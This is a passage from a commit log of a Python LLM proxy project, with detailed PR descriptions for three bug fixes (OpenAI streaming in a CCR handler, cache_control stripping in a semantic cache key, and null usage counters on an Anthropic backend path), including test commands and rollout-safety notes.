and the only `break` out of the loop above required `detected_ccr` to be
`True`, so it could only ever be reached with an already-exhausted
iterator. The new flush takes its place.
- `_reconstruct_openai_response` derives `finish_reason`: `"tool_calls"`
when the message carries tool calls, otherwise the last non-null
upstream value (so a truncated turn stays reported as `"length"`),
defaulting to `"stop"`. It carries `id` / `created` / `model` /
`system_fingerprint` / `usage` through from the chunk envelope and
stamps `"object": "chat.completion"`. It also tolerates `"delta": null`
on a terminal chunk, which some OpenAI-compatible providers send instead
of `{}`, in the same spirit as #2467.
- New `_openai_response_to_chunks` splits a non-streaming
`chat.completion` body into proper `chat.completion.chunk` frames (a
role delta, a content delta, one delta per tool call, then a terminal
frame carrying `finish_reason`). `_response_to_sse` uses it and then
emits `[DONE]`. The Anthropic branch still delegates to
`StreamingMixin._response_to_sse` and is untouched.

Tests in `tests/test_ccr_response_handler_extra.py`:

- Seven new tests: OpenAI CCR detection on a `tool_calls` delta (plus a
non-CCR negative case), a short OpenAI stream passing through byte for
byte, a stream past the 10 000-byte flush threshold keeping its tail, a
stream with no `[DONE]` sentinel still flushing, `finish_reason`
becoming `"tool_calls"` with the envelope preserved, the upstream
`finish_reason` being kept when there are no tool calls, and
`_response_to_sse` emitting parseable chunk frames.
- `test_streaming_handler_falls_back_to_buffer_on_processing_error` now
feeds genuine OpenAI SSE bytes instead of Anthropic ones, so it
exercises the OpenAI detection path it was always meant to.
- `test_response_to_sse_formats` asserts the new chunk-frame shape for
OpenAI. The Anthropic half is unchanged.

No behaviour change for `provider="anthropic"` beyond the
end-of-iterator flush, which can only add data that was previously
discarded.

## Testing

- [x] Unit tests added/updated
- [x] Existing tests pass
- [ ] Manual testing performed
- [ ] Integration tests added

Each of the seven new tests was confirmed to fail against the unmodified
source (`git stash` on `response_handler.py` alone, tests untouched), so
they are genuine regression tests rather than assertions written to
match current behaviour:

```
$ git stash push -- headroom/ccr/response_handler.py
$ python -m pytest tests/test_ccr_response_handler_extra.py -q -k openai
FAILED tests/test_ccr_response_handler_extra.py::test_streaming_buffer_detects_ccr_in_openai_tool_calls_delta
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_ccr_yields_every_chunk
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_past_flush_threshold_keeps_the_tail
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_done_sentinel_still_flushes
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_marks_tool_calls_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_keeps_upstream_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_response_to_sse_emits_openai_chunk_frames
7 failed, 2 passed, 13 deselected in 0.79s
```

With the fix applied, the full CCR response-handler suite passes:

```
$ python -m pytest tests/test_ccr_response_handler_extra.py tests/test_ccr_response_handler.py -q
collected 57 items
tests\test_ccr_response_handler_extra.py ......................          [ 38%]
tests\test_ccr_response_handler.py ...................................   [100%]
============================= 57 passed in 1.74s ==============================
```

Wider CCR and streaming surface:

```
$ python -m pytest tests/ -k "ccr or streaming" -q
4 failed, 696 passed, 73 skipped, 10949 deselected, 2 warnings in 175.80s (0:02:55)
```

The 4 failures are pre-existing on a clean `upstream/main` and unrelated
to this change (verified by stashing both changed files and re-running
exactly those four):
`test_ccr_mcp_http.py::test_streamable_http_initialize_and_list_tools`,
`test_cli_proxy_env.py::TestCLICompressionOnlyFlags::test_ccr_defaults_on`,
and two in `test_transforms/test_smart_crusher_ccr_roundtrip.py`.

Lint and types:

```
$ python -m ruff check .
All checks passed!
$ python -m ruff format --check .
1505 files already formatted
$ python -m mypy headroom --ignore-missing-imports
Found 12 errors in 3 files (checked 521 source files)
```

Zero mypy errors in `headroom/ccr/response_handler.py`. The 12 are
pre-existing, in `ccr/mcp_server.py`, `memory/mcp_server.py`, and
`release_version.py`, none of which this PR touches (they come from a
locally installed `mcp` whose stubs differ from CI's).

## Real Behavior Proof

- Environment: Windows 11, Python 3.13.11, pytest 9.1.1, ruff and mypy
from the repo's pinned config, branch `fix/ccr-streaming-openai-path`
off `upstream/main` at `cbb950a4`.
- Exact command / steps: `python -m pytest
tests/test_ccr_response_handler_extra.py
tests/test_ccr_response_handler.py -q`; then `git stash push --
headroom/ccr/response_handler.py` and `python -m pytest
tests/test_ccr_response_handler_extra.py -q -k openai` to confirm the
new tests fail without the source fix; then `python -m pytest tests/ -k
"ccr or streaming" -q`; then `python -m ruff check .`, `python -m ruff
format --check .`, `python -m mypy headroom --ignore-missing-imports`.
- Observed result: 57/57 pass in the CCR response-handler suites with
the fix; all 7 new tests fail without it. The wider run is 696 passed
with 4 failures that reproduce identically on an unmodified tree. Ruff
clean, mypy clean on the changed file. In
`test_openai_stream_without_ccr_yields_every_chunk` the handler now
returns every input chunk byte for byte, where before it returned an
empty list.
- Not tested: no end-to-end run against a live OpenAI-compatible
backend, because no proxy handler instantiates `StreamingCCRHandler`
today, so there is no wired path to drive. Coverage is at the class
level using recorded-shape SSE frames. The Anthropic path is covered
only by the existing tests, which still pass unchanged.

## Runtime Rollout Safety

- Rollout-managed feature(s): none. `StreamingCCRHandler` is not gated
by a rollout feature and is not reachable from any proxy handler.
- Minimum rollout channel: not applicable; no rollout gate is involved.
- Stable/default behavior changed: no. For `provider="anthropic"` the
only behavioural difference is that bytes left buffered when the source
iterator ends are now flushed instead of discarded, which can only add
data the client previously lost. For `provider="openai"` the class was
non-functional, so there is no prior behaviour to preserve.
- Kill switch / disable path: not applicable; no new configuration, env
var, or feature flag is introduced.
- Unsafe override required: no.
- Qualification impact: none. No qualification-gated surface is touched.
- Rollback path: revert this commit. It is self-contained in
`headroom/ccr/response_handler.py` and
`tests/test_ccr_response_handler_extra.py`, with no schema, config, or
persisted-state changes.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Two judgement calls worth a reviewer's attention:

1. **Removing the dead re-iteration block** in `process_stream`. I am
confident it was unreachable (the only `break` above it requires
`detected_ccr`, which its own guard excludes), but it is the one
deletion in this diff rather than an addition, so it is worth a second
pair of eyes.
2. **The unconditional end-of-iterator flush.** I chose to flush
regardless of whether an end marker matched, rather than only fixing the
OpenAI marker. That makes the truncation bug unreachable even if a
future provider uses a shape neither marker recognises. The cost is that
a stream whose trailing bytes are genuinely not meant for the client
would now be forwarded. Given the buffer only ever holds upstream
response bytes, forwarding is the safer default, but flag it if you
disagree.

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 20:55:02 -07:00
Abhay Singh
2cae0f8eaf
fix(proxy/cache): strip cache_control from messages in the semantic cache key (#3086)
## Description

The proxy semantic response-cache key (`compute_semantic_cache_key`)
strips `cache_control` from the response-shaping fields (`system`,
`tools`, ...) so that a moved prompt-cache breakpoint does not fragment
the key:

```python
{
    "model": model,
    "messages": messages,  # hashed verbatim
    **{k: strip_cache_control(v) for k, v in key_fields.items()},  # stripped
}
```

But `messages` was hashed **verbatim**. Messages are the primary key
component, and on the Anthropic path they are the most common place a
client (e.g. Claude Code) places and *moves* a `cache_control`
breakpoint between turns (on the last user turn / a `tool_result`
block). So two otherwise-identical requests that differed only in a
message-level breakpoint produced different keys and missed the semantic
cache — the exact fragmentation the `strip_cache_control` helper exists
to prevent, applied to everything except the field that matters most.

The existing tests pin the strip for `system`
(`test_cache_control_breakpoint_move_same_key`) and `tools`
(`test_tools_cache_control_ignored`), but never covered a message-level
breakpoint, so the gap went unnoticed.

## Fix

Apply `strip_cache_control` to `messages` as well. `cache_control` is a
prompt-caching directive for the upstream provider that never changes
the generated completion, so removing the annotation before hashing is
sound: message *content* still differentiates the key, and two requests
that differ only in a `cache_control` breakpoint now share the cache
entry (whose stored response body is identical either way).

The proxy carries two in-sync copies of this pure policy
(`semantic_cache_key_policy.py`, imported by the runtime
`SemanticCache`, and `semantic_cache_key.py`, imported by the policy
test); both are updated identically so they do not diverge.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/semantic_cache_key_policy.py` and
`headroom/proxy/semantic_cache_key.py`: hash
`strip_cache_control(messages)` instead of `messages`, with a docstring
explaining why message-level breakpoints must not fragment the key.
- `tests/test_proxy_semantic_cache_key.py`: added
`test_message_cache_control_breakpoint_move_same_key` (behavioral,
through `SemanticCache._compute_key`) and
`test_message_content_change_still_distinct_key` (guards that stripping
does not collapse genuinely different messages).
- `tests/test_proxy_semantic_cache_key_policy.py`: added
`test_semantic_cache_key_ignores_moved_message_cache_control` at the
pure-policy level.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_proxy_semantic_cache_key.py + tests/test_proxy_semantic_cache_key_policy.py  33 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 (both policy modules) -> Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the two policy modules and ran the new
tests to capture the bug (`python -m pytest
tests/test_proxy_semantic_cache_key.py::test_message_cache_control_breakpoint_move_same_key
tests/test_proxy_semantic_cache_key_policy.py::test_semantic_cache_key_ignores_moved_message_cache_control`
-> both failed with two distinct SHA-256 keys for messages that differ
only in a `cache_control` breakpoint); restored the fix; re-ran both key
suites (`python -m pytest tests/test_proxy_semantic_cache_key.py
tests/test_proxy_semantic_cache_key_policy.py` -> 33 passed); ran the
wider `tests/test_cache/` suite and confirmed the only failures
(`test_client_integration.py`) reproduce identically on clean `main` and
are unrelated to this change; then `uvx ruff@0.15.22 format`, `uvx
ruff@0.15.22 check`, and `uvx mypy@1.20.2` on both modules.
- Observed result: before the fix, a request whose last message carries
`cache_control: {type: ephemeral}` hashes to a different key than the
same request without it; after the fix they hash identically (a cache
hit), while messages with different text still hash differently.
- Not tested: a live multi-turn proxy session measuring the hit-rate
improvement (the key contract is verified directly through
`SemanticCache._compute_key` and the pure policy, which is what the
runtime calls).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the pure semantic-cache key
policy behind `SemanticCache`, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. Requests that
differ only in a message-level `cache_control` breakpoint now share a
semantic-cache key (a hit) instead of missing. No request that differs
in message content, model, or any shaping field changes key. Because the
cache key changes shape, any entries stored under the old (un-stripped)
keys are simply not reused and age out under the existing TTL/LRU — a
one-time cold start for the affected entries, never a wrong response.
- Kill switch / disable path: the semantic cache itself is already gated
by the existing cache-enable configuration; disabling it bypasses this
path entirely.
- Unsafe override required: no.
- Qualification impact: higher semantic-cache hit rate on the Anthropic
path where clients move `cache_control` breakpoints between turns; no
change to which distinct requests are considered equal beyond ignoring
the caching directive.
- Rollback path: revert this PR; the key returns to hashing messages
verbatim.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

Same class as the `system`/`tools` breakpoint handling already in place
(issue #327 kept the strip from fragmenting the key on a hit); this
extends it to messages, the primary key component. The two in-sync
policy copies are updated together to avoid divergence; consolidating
them into one module is left out of scope for this bug fix.
2026-08-17 20:21:17 -07:00
Abhay Singh
9ca5a16bde
fix(proxy/anthropic): coerce present-null usage counters on the buffered backend path (#3084)
## Description

The buffered (non-streaming) Anthropic backend branch in
`handle_anthropic_messages` (`headroom/proxy/handlers/anthropic.py`) —
the path taken by Bedrock / Vertex / LiteLLM(anthropic) traffic — read
the response usage counters with a bare default:

```python
output_tokens = usage.get("output_tokens", 0)
...
cr_tokens = usage.get("cache_read_input_tokens", 0)
cw_tokens = usage.get("cache_creation_input_tokens", 0)
```

A backend can report these counters as JSON `null` (key **present**,
value null) rather than omitting them. For a present-null key
`dict.get(key, 0)` returns `None`, not the default `0`. That `None` then
flowed into:

```python
provider_input_tokens=(uncached_input_tokens + cr_tokens + cw_tokens)
```

raising `TypeError: unsupported operand type(s) for +: 'NoneType' and
'NoneType'`, which the outer handler converted into a failed turn (HTTP
500 `api_error`) instead of a normal 200 with zeroed counters.

The direct-Anthropic-API branch a few hundred lines down already guards
this exact case with `int(usage.get(key, 0) or 0)`, and the surrounding
code even comments that a backend may "send null" for `input_tokens`
(and None-guards that field). The buffered branch was simply left
behind, so the two parallel paths disagreed on null handling.

## Fix

Coerce the three counters on the buffered path with `int(usage.get(key,
0) or 0)`, exactly matching the direct-API idiom, so a present-null
value becomes `0` instead of `None`. The already-present `input_tokens
is not None` guard is unaffected, and its fallback subtraction now
operates on coerced ints.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/handlers/anthropic.py` (buffered backend branch of
`handle_anthropic_messages`): coerce `output_tokens`,
`cache_read_input_tokens` and `cache_creation_input_tokens` with
`int(usage.get(key, 0) or 0)` so a present-null value is treated as `0`,
matching the direct-Anthropic path.
- `tests/test_backend_nonstreaming_cache_metrics.py`: added
`test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash`,
driving the buffered backend path with present-null `output_tokens` /
`cache_read_input_tokens` / `cache_creation_input_tokens` and asserting
a 200 with a recorded `RequestOutcome` whose counters are `0` and whose
uncached input comes from the present `input_tokens`.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_backend_nonstreaming_cache_metrics.py  7 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/proxy/handlers/anthropic.py -> Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: ran the new regression against the unpatched
handler and captured the crash (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py::test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash
-x -q` -> `assert 500 == 200` with body
`{"type":"error","error":{"type":"api_error","message":"unsupported
operand type(s) for +: 'NoneType' and 'NoneType'"}}`); applied the
`int(... or 0)` coercion; re-ran the whole file (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py -q` -> 7 passed); then
`uvx ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx
mypy@1.20.2 headroom/proxy/handlers/anthropic.py`.
- Observed result: before the fix a backend response whose usage carries
`cache_read_input_tokens: null` (or a null `output_tokens` /
`cache_creation_input_tokens`) returned HTTP 500 and recorded no
outcome; after the fix the same response returns 200, the counters
coerce to `0`, and the `PERF` line reports `cache_read=0 cache_write=0`.
- Not tested: a live Bedrock/Vertex session emitting a real null-counter
usage block (the null-usage shape is reproduced directly through the
mocked backend that the existing suite already uses for this path).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the buffered Anthropic
response-accounting path behind `handle_anthropic_messages`, not a
rollout-channel-gated runtime feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. A backend response
with present-null usage counters now completes with a 200 and zeroed
counters instead of failing the turn with a 500. Responses with numeric
counters are unaffected.
- Kill switch / disable path: N/A. There is no behavioral toggle; the
change only hardens numeric coercion on the accounting path and does not
alter routing, compression, or request forwarding.
- Unsafe override required: no.
- Qualification impact: Bedrock / Vertex / LiteLLM(anthropic)
non-streaming turns that report a null cache/output counter stop 500-ing
and are recorded with zeroed counters, matching the direct-Anthropic
path.
- Rollback path: revert this PR; the buffered path returns to the bare
`usage.get(key, 0)` reads.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

This mirrors the recently fixed Gemini CCR-continuation present-null
usage bug: the same `dict.get(key, default)` present-null trap, on the
parallel Anthropic backend path. Only the buffered (non-streaming)
backend branch was affected; the direct-Anthropic and streaming paths
already coerce with `or 0`.
2026-08-17 20:21:09 -07:00